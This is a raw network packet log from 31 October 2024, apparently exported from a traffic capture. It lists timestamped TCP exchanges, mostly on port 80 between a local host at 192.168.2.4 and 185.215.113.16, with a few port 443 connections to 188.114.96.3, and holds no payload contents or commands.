Oct 31, 2024 03:04:32.608026028 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608035088 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.608038902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608050108 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608053923 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.608068943 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.608083963 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.608278036 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608289957 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608300924 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608330965 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.608345985 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.608352900 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608366013 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608376980 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608396053 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608400106 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.608428001 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.608928919 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608941078 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608952999 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608966112 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608978987 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608983994 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.608990908 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.608994007 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.609003067 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.609025955 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.609054089 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.639918089 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.639930010 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.639940977 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.639972925 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.640003920 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.640012026 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.640022993 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.640033007 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.640055895 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.640072107 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.659185886 CET	63922	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:32.659208059 CET	443	63922	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:32.659267902 CET	63922	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:32.659610033 CET	63922	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:32.659622908 CET	443	63922	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:32.685338020 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.685378075 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.685390949 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.685393095 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.685405970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.685416937 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.685436010 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.685448885 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.685497046 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.685508966 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.685528994 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.685533047 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.685540915 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.685553074 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.685575008 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.685681105 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.685692072 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.685702085 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.685715914 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.685745955 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.686124086 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.686136007 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.686146021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.686175108 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.686203003 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.715751886 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.715764999 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.715775013 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.715812922 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.715842009 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.715852022 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.715863943 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.715873003 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.715897083 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.715929031 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.715933084 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.715970039 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.716006994 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.716017008 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.716027021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.716059923 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.716079950 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.716097116 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.716110945 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.716125011 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.716139078 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.716162920 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.724695921 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.724706888 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.724718094 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.724739075 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.724771023 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.725549936 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.725594044 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.725644112 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.725749969 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.725750923 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.725760937 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.725773096 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.725785971 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.725788116 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.725821972 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.725845098 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.725852966 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.725863934 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.725874901 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.725889921 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.725897074 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.725903034 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.725913048 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.725933075 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.725945950 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.726185083 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726197004 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726214886 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726232052 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.726241112 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.726243019 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726257086 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726260900 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.726268053 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726280928 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.726295948 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.726313114 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.726315975 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726325989 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726352930 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.726362944 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.726598978 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726610899 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726650000 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.726684093 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726695061 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726711988 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726726055 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726732016 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.726738930 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726748943 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.726749897 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.726778030 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.726814032 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.727063894 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727076054 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727086067 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727097988 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727112055 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.727138042 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.727155924 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727166891 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727180004 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727191925 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.727195024 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727207899 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727216959 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.727220058 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727241039 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.727273941 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.727639914 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727652073 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727665901 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727689028 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727689981 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.727701902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727714062 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.727750063 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.727916002 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727927923 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727941036 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.727960110 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.727992058 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.758554935 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.758565903 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.758620024 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.758698940 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.758713007 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.758744001 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.758752108 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.758757114 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.758768082 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.758780003 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.758820057 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.804178953 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804229021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804239035 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804275036 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.804294109 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804296017 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.804312944 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804330111 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804341078 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.804342985 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804354906 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804367065 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804374933 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.804408073 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.804455042 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804467916 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804477930 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804497004 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.804526091 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.804749012 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804799080 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.804805994 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804815054 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804826021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.804850101 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.804863930 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.834656954 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.834670067 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.834680080 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.834748030 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.834805012 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.834815979 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.834827900 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.834839106 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.834847927 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.834851027 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.834862947 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.834875107 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.834882975 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.834914923 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.834914923 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.834953070 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.834964037 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.834969044 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.834995985 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.835016966 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.843453884 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.843466043 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.843476057 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.843504906 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.843529940 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.844578981 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.844590902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.844604015 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.844624996 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.844629049 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.844649076 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.844652891 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.844660997 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.844671965 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.844680071 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.844710112 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.844734907 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.844746113 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.844757080 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.844769001 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.844779015 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.844780922 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.844794035 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.844820976 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.844827890 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.844836950 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.844878912 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.845185041 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845195055 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845217943 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845231056 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845231056 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.845241070 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845257044 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.845259905 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845272064 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845283985 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.845319986 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.845551014 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845561981 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845572948 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845583916 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845594883 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845602036 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.845623016 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.845635891 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.845787048 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845798016 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845808029 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845833063 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.845844984 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845855951 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845860958 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.845866919 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845880032 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845889091 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.845921993 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.845984936 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.845995903 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.846005917 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.846023083 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.846029997 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.846035957 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.846050978 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.846061945 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.846072912 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.846079111 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.846091032 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.846101999 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.846102953 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.846131086 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.846155882 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.846668959 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.846679926 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.846690893 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.846703053 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.846714973 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.846744061 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.877299070 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.877322912 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.877332926 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.877368927 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.877377987 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.877408981 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.877409935 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.877482891 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.877492905 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.877497911 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.877510071 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.877521038 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.877521992 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.877542019 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.877559900 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.922820091 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.922846079 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.922858000 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.922889948 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.922900915 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.922915936 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.922938108 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.922971964 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.923032045 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.923043013 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.923053026 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.923079967 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.923109055 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.923124075 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.923151016 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.923163891 CET	63886	80	192.168.2.4	185.215.113.16
